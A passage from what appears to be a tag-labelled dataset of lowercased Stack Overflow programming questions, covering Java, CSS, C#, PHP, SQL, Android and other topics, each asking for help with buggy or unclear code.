(454017  454019  454021  454031) </code></pre>,mysql
updating model when selected item is deleted  so in this <a href= http://plnkr.co/edit/y67ex1oa4eajelowqio7 p=preview  rel= nofollow >example</a> i have a simple select   <pre><code>&lt;select ng-model= mycolor  ng-options= color.name for color in colors &gt;     &lt;option value=  &gt;-- choose color --&lt;/option&gt; &lt;/select&gt; </code></pre>   with three colors and a button to delete the last one   <pre><code>&lt;button ng-click= delred() &gt;delete red&lt;/button&gt;&lt;br/&gt; </code></pre>   js code looks like that   <pre><code>angular.module( selectexample   []) .controller( examplecontroller   [ $scope   function($scope) {   $scope.colors = [     {name: black }      {name: white }      {name: red }    ];   $scope.mycolor = $scope.colors[2]; // red   $scope.delred = function(){             $scope.colors.length = 2;   } }]); </code></pre>   when red is selected and clicking on  delete red   the <code>-- choose color --</code> option is selected  but the model <code>{{mycolor}}</code> is    <pre><code>{ name : red } </code></pre>   how can i set it to null (or empty string or any  empty  value) in case red was selected and is deleted in order to have it coherent with  value,angularjs
separate string by comma in java using regex <blockquote>    kh-h0f2znycxwyqtjva-4jq2rnm8wqssvsnfkvrmyxpg-1417365081517 38606  best   buy co  inc.  bby01-694284011841  </blockquote>   expected ans is   <blockquote>    kh-h0f2znycxwyqtjva-4jq2rnm8wqssvsnfkvrmyxpg-1417365081517  best buy   co  inc.     bby01-694284011841  </blockquote>   but i m getting    <blockquote>    kh-h0f2znycxwyqtjva-4jq2rnm8wqssvsnfkvrmyxpg-1417365081517    best buy co   inc.    bby01-694284011841  </blockquote>   i used split    <blockquote>    string s= ... ;<br>   string s[]=s.split(   );  </blockquote>,java
java- only read first line of a file  i only want to read the first line of a text file and put that first line in a string array.    this is what i have but its reading the whole file.    ex text in mytextfile:    <pre><code>header1 header2 header3 header4 header5 1 2 3 4 5 6 7 8 9 10      string line= system.getproperty( line.separator ); string strarray[] = new string[5];   string text = null; bufferedreader brtest = new bufferedreader(new filereader(mytextfile));     text = brtest .readline();         while (text != line) {             system.out.println( text =   + text );              strarray= text.split(   );          } </code></pre>,java
need to get another java.exe version in java  i am using following code to print the version of java.exe. (this java.exe is not the current running java.exe). i don t know why it s not working.   <pre><code>    list commands = new arraylist();     commands.add( c:\\program files\\java\\jdk1.7.0_79\\bin\\java.exe );     commands.add( version );     processbuilder pb = new processbuilder(commands);     system.out.println( running command );     process process = pb.start();     int errcode = process.waitfor();     system.out.println( command executed  any errors    + (errcode == 0     no  :  yes ));     system.out.println( output:\n  + output(process.getinputstream())); </code></pre>,java
c# int64 parsing - throwing errors   i took a challenge to create a basic console based calculator. i ve got a function that s supposed to return a factorial of a number  although i ve used <code>int32.parse</code>. if i try to display a factorial of any number larger than 19  it overflows. i have attempted to switch to <code>int64.parse</code>  <code>convert.toint64</code>  which didn t work. later i noticed <code>long</code> is the 64-bit integer type. i replaced the integer with long and tried <code>int64.parse</code>  and <code>convert.toint64</code>. none of these work. i have even made an exception for numbers larger than 19  it says that it will probably get errors. here s my basic code:   <pre><code>string factinput; int userinput; //or: long userinput; (both throw errors)  console.writeline( what number do you want to display the factorial of  please type in the number when prompted. ); console.writeline( please type in number: );  factinput = console.readline(); userinput = int64.parse(factinput);  if (userinput &gt;= 20) {     console.writeline( found error - integer bound to 32-bit integer overflow limit. continuing operation  expecting errors. ); }  console.writeline( calculation completed. result: ); console.writeline(fact(userinput)); userinput = 0; factinput =  nul ; </code></pre>,c#
proxy in c# for a little bot  i want to create a bot that displays a web page through a proxy taken from <a href= http://proxy-list.org/en/index.php  rel= nofollow >http://proxy-list.org/en/index.php</a>. i did this:   <pre><code>httpwebrequest request = (httpwebrequest) webrequest.create ( http://www.google.it/ ); request.getresponse (); </code></pre>   so the page is displayed but does not pass the proxy.    do you have any advice     (sorry for my english),c#
asp.net store images directly in active memory  is there any performance advantage to storing images directly in application memory as opposed to on disk  i have an image handler currently which is as simple as:   <pre><code>image.ashx imageid=xxx </code></pre>   where xxx.jpg is stored on the filesystem.    would storing the images in a dictionary in the applications memory offer any performance benefit    <pre><code>public dictionary(int imageid  byte[] imagedata) </code></pre>   the webserver has plenty of spare ram going to waste.,asp.net
not finding any directory  when using php require_once it s not finding the specified directory. made sure multiple times this directory does exist!    also tried this with include. what s the problem here     file structure: <a href= http://prntscr.com/hut7f0  rel= nofollow noreferrer >http://prntscr.com/hut7f0</a>    code:   <pre><code>&lt; php  ini_set( display_errors   1); ini_set( display_startup_errors   1); error_reporting(e_all);  class main {    public static          $test; }  require_once  /engine/test.class.php ;   main::$test = new test();   &gt; </code></pre>   error:   <pre><code>warning: require_once(/engine/test.class.php): failed to open stream: no such file or directory in c:\xampp\htdocs\includes\loader.php on line 14  fatal error: require_once(): failed opening required  /engine/test.class.php  (include_path= c:\xampp\php\pear ) in c:\xampp\htdocs\includes\loader.php on line 14 </code></pre>,php
about delegate in objective-c  <pre><code>@protocol mybuttonviewdelegate &lt;nsobject&gt; - (void)buttonview:(mybuttonview*)view buttonpressed:(uibutton*)button; @end </code></pre>   i am new in objective-c  i am learning <code>delegate</code> according the book.    from the book  when we define protocol we just write like this <code>@protocol mybuttonviewdelegate</code>.    but what s the difference beteween <code>@protocol mybuttonviewdelegate</code> and <code>@protocol mybuttonviewdelegate &lt;nsobject&gt;</code>. why we need <code>&lt;nsobject&gt;</code>,objective-c
on atm using java  what is the os   i ve recently installed java and saw the add on the windows installer:     3 billions devices uses java     and i m wondering  java does have a virtual machine which allow to run on any platforms  yeah  but it can t boot the device.    i know android run java  but it is on a linux base.    so my question is  what does thoses device  (let s say atm if the question is too broad) use as os,java
how can i register a context menu for a scroll view   i have an android loyout like this:   <pre><code>&lt;scrollview    android:layout_width= fill_parent     android:layout_height= fill_parent     android:id= @+id/scrollview &gt;        &lt;textview            android:id= @+id/text             android:layout_width= wrap_content              android:layout_height= wrap_content  /&gt;  &lt;/scrollview&gt; </code></pre>   how can i register a context menu so that it will pop up when user long press anywhere in the scroll view     i have tried find the scrollview and and register context menu for that:   <pre><code>scrollview scrollview = findviewbyid(r.id.scrollview); registerforcontextmenu(scrollview); </code></pre>   but that does not  i don t see any context menu pops up. the only way works is if i register my text view for context menu.    but that may cause bad experience since my text view sometimes can be short (1-2 lines/1-2 words) and sometimes it can be long (mult sentences).    what is the best way to fix this,android
converting from char* to int  my code fails and returns a really big number:   <pre><code>#include &lt;stdio.h&gt;  int main() {     char *s =  hello123 ;     printf( %d\n  *(int *)s);     return 0; } </code></pre>   with atoi it returns 0  any ideas      what im trying to achieve is: for example im sending  hello123  to a server software  the server software should get the  123  numeric in the string  doing this by this method:   <pre><code>uint16_t get_uint16(networkmessage *message) {     uint16_t ret = 0;     if (!message || !message-&gt;buffer)         return 0;      ret = *(uint16_t *)(message-&gt;buffer + message-&gt;position);     message-&gt;position += sizeof(uint16_t);     return ret; } </code></pre>,c
html chat : is appending text the best/only way   all the in-browser chat rooms i have seen so far append messages into the html.    questions: is this the proper way to do browser based chat rooms  will i run into any problems if i implement a browser based chat like this,html
how can i download a image into word document using jquery.any solution  how can i export a image into word document using jquery       am trying like that.but only text comes.   <pre><code>$( #export ).click(function(event) {   $( #genealogy ).wordexport(); }); </code></pre>,jquery
how to get domain from email address in javascript   i want to get the domain part from an email address  in javascript. it s easy to extract the domain from an email like via <code>split</code>:  joe@example.com   which is <code>example.com</code>.    however  emails also come in forms like  joe@subdomain1.example.com.uk   of which the domain is <code>example.com.uk</code>  instead of <code>subdomain1.example.com.uk</code>. the problem here is that <code>subdomain1</code> can be mistakenly considered as part of the domain.    note: for those who want to dismiss this question by downvoting it at first sight: please read it again  and it might not be what you think!    how do i do this reliably     thanks!,javascript
it is possible to make a vertical table with horizontal headers   i m trying to create a vertical table  with headers on specific areas such as a user s address. i want to create something like this:   <pre><code>        general information  name                john smith date of birth       april 1  1984 gender              male          account information         correspondence address address 1           1234 mlk blvd address 2           502 city                kansas city state               missouri country             usa zip code            55748       residential address address 1           143 st michael s way address 2 city                independence state               missouri country             usa zip code            55760 </code></pre>   i am currently using this code for the table without headers:   <pre><code>&lt;table&gt;     &lt;tr id= name &gt;         &lt;th&gt;name&lt;/th&gt;     &lt;/tr&gt;     &lt;tr id= personemail &gt;         &lt;th&gt;email&lt;/th&gt;     &lt;/tr&gt;     &lt;tr id= gender &gt;         &lt;th&gt;gender&lt;/th&gt;         &lt;td&gt;&lt;/td&gt;     &lt;/tr&gt;     &lt;tr id= date_of_birth &gt;         &lt;th&gt;date of birth&lt;/th&gt;         &lt;td&gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   how do i add headers at the top of the table,html
centering a variable width div in a page  i am trying to centre a varying width div in the centre of a page. i m creating a set of tiles which are set to float in a div so that as many fit in the page width as possible and automatically reconfigure if the page width is expanded or contracted.  this works fine.  but i would also like the div containing the tiles to be in the centre of the page.  having looked at numerous solutions to centering in the forums  none of them seem to work for the scenario i am trying to create. the page is being displayed in an iframe and i wondered if that was the problem  but i tried its own page  with no change.    the basic div structure is shown below.  (full php syntax omitted)   <pre><code>&lt;div class= centre &gt; &lt;!-- div containing the tiles --&gt;   foreach (....) {   /* loop to create each tile */     &lt;div class= summary_tile  style= background-image: image-url &gt; &lt;!-- div for each tile --&gt;       &lt;div style= background: rgba(255 255 255  0.6); &gt; &lt;!-- background to write text over images within each tile --&gt;       &lt;/div&gt;     &lt;/div&gt;   } &lt;/div&gt; </code></pre>   the relevant css is shown below.  i have tried various versions (show as centren in the css below) of the class centre and the results are shown in the comments.       <pre><code>div.summary_tile {   width: 200px;   height: 150px;    background-position: center;    background-repeat: no-repeat;   border-style: solid;   border-width: 1px;   border-color: blue;   margin: 10px;   float: left; }  div.centre /* tiles fill width of window - number of tiles in row varies according to window width but not centered */ {   margin: 0 auto; }  div.centre1 /* reduces display to 2 tiles wide  but still not centered - remains fixed when window width reduced - not what i want anyway  but just tried the fixed width to see if it worked */ {   width: 600px;   margin: 0 auto; }  div.centre2 /* tiles fill width of window - number of tiles in row varies according to window     width but not centered */ {   display: flex;   justify-content: center;   text-align; center; }  div.centre3 /* tiles fill width of window - number of tiles in row varies according to window width but not centered */ {   display: flex;   align-items; center;   justify-content: center;   text-align; center; }  div.centre4 /* tiles fill width of window - number of tiles in row varies according to window     width but not centered */ {   display: table;   align-items; center;   justify-content: center;   text-align; center; }  div.centre5 /* tiles fill width of window - number of tiles in row varies according to window     width but not centered */ {   display: inline-block;   text-align; center; }  div.centre6 /* tiles fill width of window - number of tiles in row varies according to window     width but not centered */ {   text-align; center; } </code></pre>   i have also tried an outer containing div with each of the centre class options and no class on the div containing the tiles or with various of the classes  but that doesn t seem to work.  am i trying to do the impossible or just not hit on the correct combination of css statements and divs yet,css
comparing two strings/buffers in c possibly  the code below is not working. i have been searching for a day now for solution but have surprisingly gotten no where. when i send the word  hello  to the tcp server i would like it to print the text  it works . the problem is on line 97. i will edit title of post once i know whats going on.   <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt;  //strlen #include&lt;stdlib.h&gt;  //strlen #include&lt;sys/socket.h&gt; #include&lt;arpa/inet.h&gt;   //inet_addr #include&lt;unistd.h&gt;  //write #include&lt;pthread.h&gt; //for threading   link with lpthread void *connection_handler(void *);  int main(int argc   char *argv[]) {     int socket_desc   new_socket   c   *new_sock;     struct sockaddr_in server   client;     char *message;      //create socket     socket_desc = socket(af_inet   sock_stream   0);     if (socket_desc == -1)     {         printf( could not create socket );     }      //prepare the sockaddr_in structure     server.sin_family = af_inet;     server.sin_addr.s_addr = inaddr_any;     server.sin_port = htons( 9999 );      //bind     if( bind(socket_desc (struct sockaddr *)&amp;server   sizeof(server)) &lt; 0)     {         puts( bind failed );         return 1;     }     puts( bind done );      //listen     listen(socket_desc   3);      //accept and incoming connection     puts( waiting for incoming connections... );     c = sizeof(struct sockaddr_in);     while( (new_socket = accept(socket_desc  (struct sockaddr *)&amp;client  (socklen_t*)&amp;c)) )     {         puts( connection accepted );          //reply to the client         message =  hello client   i have received your connection. and now i will assign a handler for you\n ;         write(new_socket   message   strlen(message));          pthread_t sniffer_thread;         new_sock = malloc(1);         *new_sock = new_socket;          if( pthread_create( &amp;sniffer_thread   null    connection_handler   (void*) new_sock) &lt; 0)         {             perror( could not create thread );             return 1;         }          //now join the thread   so that we dont terminate before the thread         //pthread_join( sniffer_thread   null);         puts( handler assigned );     }      if (new_socket&lt;0)     {         perror( accept failed );         return 1;     }      return 0; } /*  * this will handle connection for each client  * */ void *connection_handler(void *socket_desc) {     //get the socket descriptor     int sock = *(int*)socket_desc;     int read_size;         char *message   client_message[2000];         //char *contents;         //contents =  hello ;         //strcpy(mess contents);     //send some messages to the client     message =  greetings! i am your connection handler\n ;     write(sock   message   strlen(message));      message =  now type something and i shall repeat what you type \n ;     write(sock   message   strlen(message));      //receive a message from client     while( (read_size = recv(sock   client_message   2000   0)) &gt; 0 )     {         write(sock   client_message   strlen(client_message)); </code></pre>  <blockquote>    problem is below this line  </blockquote>  <pre><code>        char mess[] =  hello\n ;         if(strcmp(client_message  mess) != 0){             printf( it works );         }     }     if(read_size == 0)     {         puts( client disconnected );         fflush(stdout);     }     else if(read_size == -1)     {         perror( recv failed );     }      //free the socket pointer     free(socket_desc);      return 0; } </code></pre>,c
could not understand following lines in item 11 of effective java  i could not understand following line under item 11 : override clone judiciously from effective java   <blockquote>    a well-behaved clone method can call constructors to create objects internal to the clone under construction. <em>(pg:55)</em>  </blockquote>   it was also mentioned that  no constructor are called . so  i m confused.,java
appdomain.currentdomain.unhandledexception doesn t always fire up  i encountered an exception in our application that isn t handled at all. i really don t know what to look for to debug this problem since the application close immediately when this peculiar exception is thrown (even running from vs). the exception handling is setup that way:   <pre><code>[stathread] [loaderoptimizationattribute(loaderoptimization.multidomainhost)] static void main() { application.setunhandledexceptionmode(unhandledexceptionmode.catchexception); application.applicationexit += new eventhandler(applicationexithandler); application.threadexception += new threadexceptioneventhandler(threadexceptionhandler); appdomain.currentdomain.unhandledexception += new unhandledexceptioneventhandler(unhandledexceptionhandler); ... </code></pre>   the thread from which the exception is thrown is started that way:   <pre><code>thread executerthread = new thread(new threadstart(modele.exporter)); executerthread.setapartmentstate(apartmentstate.sta); executerthread.start(); </code></pre>   now  every unhandled exception thrown from that thread fire up our unhandledexceptionhandler except the one i have problems with. even if i catch the problematic exception and throw it again  the application closes silently. none of the 3 handlers (applicationexit  threadexception  unhandledexception) get fired (breakpoints not hit).    there is nothing so exceptional in that exception (see details here: <a href= http://pastebin.com/fcndrrij  rel= nofollow noreferrer >http://pastebin.com/fcndrrij</a>).,.net
i have code that performs a search on 2 large tables using a wildcard predicate  when searching for an exact value  using the below sql  the results are returned within 25 seconds. however  when using the <code>like</code> keyword and wildcards  the result is never returned (we have to cancel the query).     the wildcard query replaces the penultimate line with <code>and a.vendor_no like  %526000802 </code>    i have tried adding an index to the table on just the vendor_no but no help.     <pre><code>select a.agy as agy  a.vendor_no as vendor_no                                     ****  concat substr(a.vendor_no 5 6) as vendor_no_masked                        a.vendor_name as vendor_name  a.fy as fy  a.effective_date as  effective_date    a.batch_agy as batch_agy  a.batch_date as batch_date                            a.batch_type as batch_type                                                      a.batch_no as batch_no  a.batch_seq_no as batch_seq_no                          a.invoice_no as invoice_no                                                      a.invoice_desc as invoice_desc  a.warrant_writ_date as warrant_writ_date        a.warrant_no as warrant_no  a.archive_ref_no as archive_ref_no                  a.cur_doc_no as cur_doc_no  a.cur_doc_sfx as cur_doc_sfx                        a.ref_doc_no as ref_doc_no                                                      a.ref_doc_sfx as ref_doc_sfx  b.gla as gla  a.tcode as tcode  a.pca as pca     a.object as object  a.cobj as cobj  a.aobj as aobj  a.index_code as  index_code  a.appn_no as appn_no  a.appd_fund as appd_fund  a.fund as fund                  b.gl_post_amt as gl_post_amt                                                    from a60prd.tb_adt1_arch a left outer join a60prd.tb_adtg_new b                 on a.agy = b.agy and a.batch_agy = b.batch_agy                                  and a.batch_date = b.batch_date and a.batch_type = b.batch_type                 and a.batch_no = b.batch_no and a.batch_seq_no = b.batch_seq_no and a.trans_id_sfx = b.trans_id_sfx                             where a.agy between  aaa  and  999                                                               and (gla =  3500  or gla =  3501 )                              and (cur_doc_no like  v%  or cur_doc_no like  d% )  and a.vendor_no =  1526000802              order by agy  batch_agy  fy  effective_date ; </code></pre>,sql
python : dynamic module does not define init function (initbpy)  i want to access bpy(blender) in standard python console on windows 64bit operating system. i searched  and found this link  <a href= http://wiki.blender.org/index.php/user%3aideasman42/blenderaspymodule  rel= nofollow noreferrer >http://wiki.blender.org/index.php/user%3aideasman42/blenderaspymodule</a> . i did all the steps. but unable to import bpy in my python idle  also version of both are same. it shows error which is :    <blockquote>   <blockquote>     <blockquote>        import bpy       traceback (most recent call last):         file     line 1  in            import bpy       importerror: dynamic module does not define init function (initbpy)      </blockquote>   </blockquote> </blockquote>   please help me. thanks,python
clear browser back history via asp.net-c#  hi i want to clear history of user page after they sign out from their page manipulations.i googled it and found some ways with cacheability but it doesnt work fine.,asp.net
empty strings in c# class  i have a class which contains this:   <pre><code>public long dognumber { get; set; } public long catnumber { get; set; } public long dogname { get; set; } </code></pre>   and this is how i populate it:   <pre><code>var lunder = new list&lt;herdig&gt;(); foreach (string labl in liste)  {     string[] lab = labl.split( ! );     var herdig = new herdig     {         dognumber = long.parse(lab[0])          catnumber  = long.parse(lab[1])          dogname = lab[2]     }     lunder.add(herdig); } </code></pre>   my problem is that sometimes lab[2] is empty  and using this i get an error if i dont populate all. how can i fix this     thank you:),c#
centering multiple images that have their own div  i m trying to center a bunch of images horizontally that each have their own div tag. i tried to use text align center but that did not work. other questions suggested using margin auto for the right and the left sides  but that also did not work. i got it to work with one image  but when i begin to add multiple images the align from top to bottom  i need them aligned horizontally.    here is my code:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;style&gt; .container {   position: relative;   width: 50%; }  .image {   display: block;   width: 50%;   height: auto;   text-align: center;  }  .overlay {   position: absolute;   top: 0;   bottom: 0;    left: 0;   right: 0;   height: 100%;   width: 50%;   opacity: 0;   transition: .5s ease;   background-color: #008cba;  }  .container:hover .overlay {  opacity: 0.5; }    .text {   color: white;   font-size: 20px;   position: absolute;   top: 50%;   left: 50%;   transform: translate(-50%  -50%);   -ms-transform: translate(-50%  -50%);   text-align: center; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt;    &lt;div class= container &gt;   &lt;img src= img_avatar.png  alt= avatar  class= image &gt;   &lt;div class= overlay &gt;     &lt;div class= text &gt;text1&lt;/div&gt;   &lt;/div&gt; &lt;/div&gt;  &lt;div class= container &gt;   &lt;img src= img_avatar.png  alt= avatar  class= image &gt;   &lt;div class= overlay &gt;     &lt;div class= text &gt;text2&lt;/div&gt;   &lt;/div&gt; &lt;/div&gt;    &lt;div class= container &gt;     &lt;img src= img_avatar.png  alt= avatar  class= image &gt;    &lt;div class= overlay &gt;    &lt;div class= text &gt;text3&lt;/div&gt;   &lt;/div&gt;  &lt;/div&gt;    &lt;div class= container &gt;    &lt;img src= img_avatar.png  alt= avatar  class= image &gt;    &lt;div class= overlay &gt;      &lt;div class= text &gt;text4&lt;/div&gt;    &lt;/div&gt;  &lt;/div&gt;   &lt;/body&gt;  &lt;/html&gt; </code></pre>   thank you!,css
purpose of a static member function in c++   if each member function is only contained once per class (to be shared by all instances) what exactly is the purpose of declaring a member function static  is it like a function being declared const  in that it modifies a particular type of data (in this case  static data members),c++
redirect to new url safely using php  i ve got a contact form that currently reloads the root page after sending an email.     <code>header( location: / message=success );</code>    this works just fine  although i d now like it to go to the page url stored in <code>$_post[ contact_page ]</code>. however  using something like the following code doesn t seem like good practice:    <code>header( location: http:// .$_post[ contact_page ].  message=success );</code>    my main concern is that someone could change the url to something nefarious and then this command would execute it. (also  with the <code>message</code> argument in the new url  repeatedly running this code will cause more and more instances of the same argument to be added to the end.)     my question: what s a safe way to redirect the user to <code>$_post[ contact_page ]</code> using <code>header</code> (with an argument or two included  like <code>message</code> above)     edit: the page variable was originally made using this code  <code>$_server[ http_host ].$_server[ request_uri ]</code>  and ends up in the form www.mysite.com/whatever-page&amp;maybe_some=leftover_arguments,php
position: sticky issue - element appears off-placed  the sticky positioning support in css is very nice  but with glitches! i am using <code>position: sticky</code> on a two-column layout. i have a <code>select</code> dropdown in the section that is set to be sticky  when page is scrolled  the <code>select</code> in the sticky-positioned div renders way off its place  outside the div  where it would ve appeared originally without any scrolling. here is the screenshot: <a href= https://i.stack.imgur.com/ands1.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ands1.png  alt= enter image description here ></a>    when i click anywhere to close the dropdown  and then open it again  it renders fine in the correct place. this is happening on chrome and firefox but not in safari.     here s a <a href= https://jsfiddle.net/rh5gq4z0/  rel= nofollow noreferrer >jsfiddle</a> with the issue replicated. before opening the dropdown  scroll down a bit  and then click on the select.    does anyone know a solution to this,css
iterating through a list based on the value of an id element inside the list in c#  i have another question that s connected with my class:   <pre><code>public class parent {         public ilist&lt;parentdetail&gt; parentdetails {             get { return _parentdetails; }         }         private list&lt;parentdetail&gt; _parentdetails = new list&lt;parentdetail&gt;();         public parent() {             this._parentdetails = new list&lt;parentdetail&gt;();         }     }      public class parentdetail {         public int id { get; set; }     }  } </code></pre>   presently i iterate through parentdetails and do some action for each parentdetail. i am using mvc razor syntax so that s the reason for the @( .. etc   <pre><code>@foreach (int index in enumerable.range(0  model.parent.parentdetails.count())) {   model.parent.parentdetails[@index].id </code></pre>   this gives me the numbers 1 2 3 ... etc  if the ids have been assigned sequentially in the list with the first element having an id of 1 and the second element having an id of 2 etc.     however the ids in my list are not assigned sequentially. i may have it like this:   <pre><code>list-element [0] has an id of 3 list-element [1] has an id of 4 list-element [2] has an id of 1 list-element [3] has an id of 2 </code></pre>   what i need is something equivalent to the foreach that will let me iterate through my list based on the value of id. maybe i need to use the index method to find but i don t know how to put this all into a loop.     i know some c# but this is quite far beyond me. can anyone help out with some ideas. i hope my question makes sense.     <em>i will watch for comments so please just send a comment if there is something that s not clear.</em>     thank you.,c#
css bottom border issues  i was hoping someone could give me some advice on getting rid of the bottom right corner triangles in the <code>nav</code> below. keeping both the bottom border and  white border left after each. thanks!!    <img src= https://i.stack.imgur.com/bfdoe.png  alt= sample image >      css code   <pre><code>#top-menu ul{   width:100%;   float:left;   padding:0 0 10 0;   color:#666666;   margin-left:64.5%;   margin-top:0px;   list-style-type:none; }  #top-menu ul a {   float:left;   text-decoration:none;   color:#ffffff;   background-color:#5aa1e3;   padding:0.2em 0.9em;   border-bottom: 3px solid #b2defc;   border-right: 3px solid white; }   #top-menu a:hover {   background-color:#c957bb;    } </code></pre>   here is my <a href= http://jsfiddle.net/8rmyu/  rel= nofollow noreferrer >fiddle</a>,css
get size image from link  i want to check size image from url in c#. ex: url: <a href= http://img.khoahoc.tv/photos/image/2015/05/14/hang_13.jpg  rel= nofollow noreferrer >http://img.khoahoc.tv/photos/image/2015/05/14/hang_13.jpg</a>    please help me. thank you very much,c#
where to put a file in android so it can be opened   i want to open a file in android using the following code:    <pre><code> fileinputstream fis = openfileinput( examplelist.txt );  inputstreamreader isr = new inputstreamreader(fis);  bufferedreader bufferedreader = new bufferedreader(isr);  stringbuilder sb = new stringbuilder();  string line;  while ((line = bufferedreader.readline()) != null) {      sb.append(line);  } </code></pre>   but where to put the file <code>examplelist.txt</code>  i found some contradicting sources  like <a href= https://stackoverflow.com/questions/14768191/how-do-i-read-the-file-content-from-the-internal-storage-android-app >this</a> and <a href= https://android.stackexchange.com/questions/47924/where-android-apps-store-data >this</a>  how to do it correctly      <strong>update:</strong>    i want to be able to replace this file at anytime after the app has been installed. so this file is not part of the source code or anything. it contains dynamical data...    i would have used a simple  file selector   so the user can navigate to the file anywhere on the android phone  but this looks terribly complicated and cumbersome. so  for now  i just want to open a file i can put somewhere on the phone in the <em>most possible simple manner...</em>,android
gem install rails doesn t work with ruby 2.1.5 on windows 7  i have already tried the <code>gem install rails</code> on two different windows 7 machines. ruby version installed 2.1.5 when i run <code>gem source</code> in command line i get <a href= https://rubygems.org  rel= nofollow >https://rubygems.org</a> but when i try to run <code>gem install rails</code> i get the following error:    =================    error:  could not find a valid gem  rails  (>= 0)  here is why:           unable to download data from <a href= https://rubygems.org/  rel= nofollow >https://rubygems.org/</a> - ssl_connect returned=1 errno=0 state=sslv3 read server certificate b: certificate verify failed (<a href= https://api.rubygems.org/latest_specs.4.8.gz  rel= nofollow >https://api.rubygems.org/latest_specs.4.8.gz</a>)    ====================================================    is there a problem with the rubygems.org website      thanks.,ruby-on-rails
how to print the number in triangle pattern  this is the pattern it should print. and this is the code i did right now. each number should have 5 space between each other. is there anyone who can help me with that      pattern:             <pre><code>                1           2     0     2     3     0     0     0     3 </code></pre>   my code:   <pre><code>import java.util.scanner;  public class triangle{  public static void main(string args[]) {      system.out.println( input the number of lines you want to print. );      scanner a = new scanner(system.in);      int n = a.nextint();      int[] row = new int[0];      for(int i=0 ; i &lt; n ; i++){          row = nextrow(row);           for(int j=0;j &lt; n-i;j++){              //padding for triangle             system.out.print(   );          }         //output the values       for(int j=0 ; j &lt; row.length ; j++){              system.out.print(row[j]+   );          }         //start new line         system.out.println();     } } /*find values of next row*/ public static int[] nextrow(int row[]){      int nextrow[] = new int [row.length+1];      nextrow[0] = row.length+1;                    nextrow[nextrow.length-1] =row.length+1;     for(int i=1 ; i &lt; nextrow.length-1 ; i++){          nextrow[i] = 0;     }     return nextrow; } } </code></pre>,java
does angular have a render to string   i can create templates to display in the page  but what if i want to format some strings for other purposes like debugging  or sending simple messages to the server  or even plugging strings into an array that an ng-repeat would pick up on.    is there an mechanism in angular similar to handlebars where i can compile a template and then render it to a string instead of into the dom,angularjs
asp.net or windows forms bar code scanner  i have a barcode scanner that emulates a keyboard.  so  if i open notepad and i scan a card it automatically inputs into notepad and presses enter.   if i open up my application and put the cursor in the textbox it works great also.  however  the user may want to browse the web while people scan into the system at his desk.    how can i set it up where the barcode scanner goes directly into an application     app must run in the background(i m assuming),.net
how to make a triangle checkerboard pattern   i am trying to make a checkerboard of right triangles with loops  but i am not sure how to go about it. i m trying to make it so that the user inputs 2 integers and a character  to indicate the length  size  and character to fill the triangles in. input 3 5 w would give:   <pre><code>w ww www wwww wwwww w    w ww   ww www  www wwww wwww wwwwwwwwww w    w    w ww   ww   ww www  www  www wwww wwww wwww wwwwwwwwwwwwwww </code></pre>   so far i have made a single right triangle  but i am not sure if that is the correct way to start this. i am also stuck on how to make the checkerboard pattern. i am new to java and it is difficult for me to figure out how to start programs off.   <pre><code>public class triangle { public static void main( string[] args ) {      for( int i = 1; i &lt;= 10; i++ ){         for( int j = 0; j &lt; i; j++ ){             system.out.print( w );          }         system.out.println();     }  }   } </code></pre>,java
copy rows and change 1 value   how would i copy entire rows within a table and change one value    <pre><code> insert into user (      user_id account_id user_type_cd name e_mail_addr       login_failure_cnt admin_user primary_user  )  select * from pnet_user where account_id= 1  </code></pre>   but now i want to change 1 to 2 on the inserted entries.  but now i want to change 1 to 3 on the inserted entries.  but now i want to change 1 to .... on the inserted entries.  but now i want to change 1 to 1000 on the inserted entries.     it will copy and write down 1000 times (only changing id ).,sql
vector class problems  i have a class of objects called vector. i am going to include the class early on as i think it is necessary  if not  please tell me so i can delete it immediately (to avoid dv).   <pre><code>class vec:             a vector has two fields:     d - the domain (a set)     f - a dictionary mapping (some) domain elements to field elements         elements of d not appearing in f are implicitly mapped to zero             def __init__(self  labels  function):         self.d = labels         self.f = function      __getitem__ = getitem     __setitem__ = setitem     __neg__ = neg     __rmul__ = scalar_mul #if left arg of * is primitive  assume it s a scalar      def __mul__(self other):         #if other is a vector  returns the dot product of self and other         if isinstance(other  vec):             return dot(self other)         else:             return notimplemented  #  will cause other.__rmul__(self) to be invoked      def __truediv__(self other):  # scalar division         return (1/other)*self      __add__ = add      def __radd__(self  other):          hack to allow sum(...) to work with vectors          if other == 0:             return self      def __sub__(a b):          returns a vector which is the difference of a and b.          return a+(-b)      __eq__ = equal      def is_almost_zero(self):         s = 0         for x in self.f.values():             if isinstance(x  int) or isinstance(x  float):                 s += x*x             elif isinstance(x  complex):                 s += x*x.conjugate()             else: return false         return s &lt; 1e-20      def __str__(v):          pretty-printing          d_list = sorted(v.d  key=repr)         numdec = 3         wd = dict([(k (1+max(len(str(k))  len( {0:.{1}g} .format(v[k]  numdec))))) if isinstance(v[k]  int) or isinstance(v[k]  float) else (k (1+max(len(str(k))  len(str(v[k]))))) for k in d_list])         s1 =   .join([ {0:&gt;{1}} .format(str(k) wd[k]) for k in d_list])         s2 =   .join([ {0:&gt;{1}.{2}g} .format(v[k] wd[k] numdec) if isinstance(v[k]  int) or isinstance(v[k]  float) else  {0:&gt;{1}} .format(v[k]  wd[k]) for k in d_list])         return  \n  + s1 +  \n  +  - *sum(wd.values()) + \n  + s2      def __hash__(self):          here we pretend vecs are immutable so we can form sets of them          h = hash(frozenset(self.d))         for k v in sorted(self.f.items()  key = lambda x:repr(x[0])):             if v != 0:                 h = hash((h  hash(v)))         return h      def __repr__(self):         return  vec(  + str(self.d) +     + str(self.f) +  )       def copy(self):          don t make a new copy of the domain d          return vec(self.d  self.f.copy()) </code></pre>   i now have to write procedures so that  it works . i have completed this assignment  i had 8/9. this is great but i need 9/9 because its being used in another assignment. (this is to clarify that i m not mindlessly posting homework questions on here.)   <pre><code>def getitem(v k):     kthelement = 0     try:         kthelement = v.f[k]     except exception:         kthelement = 0     return kthelement    def setitem(v k val):     v.f[k] = val   def equal(u v):     result = false     unmatched_item = set(v.f.items()) ^ set(u.f.items())     if len(unmatched_item) == 0:         result = true     return result </code></pre>   the first 2 are fine and work. this third one is the problem. it works sometimes  then some some comparisons it returns false when true or the converse.     also if     <pre><code>d = { a   b   c } v1 = vec(d  { a : 1}) v2 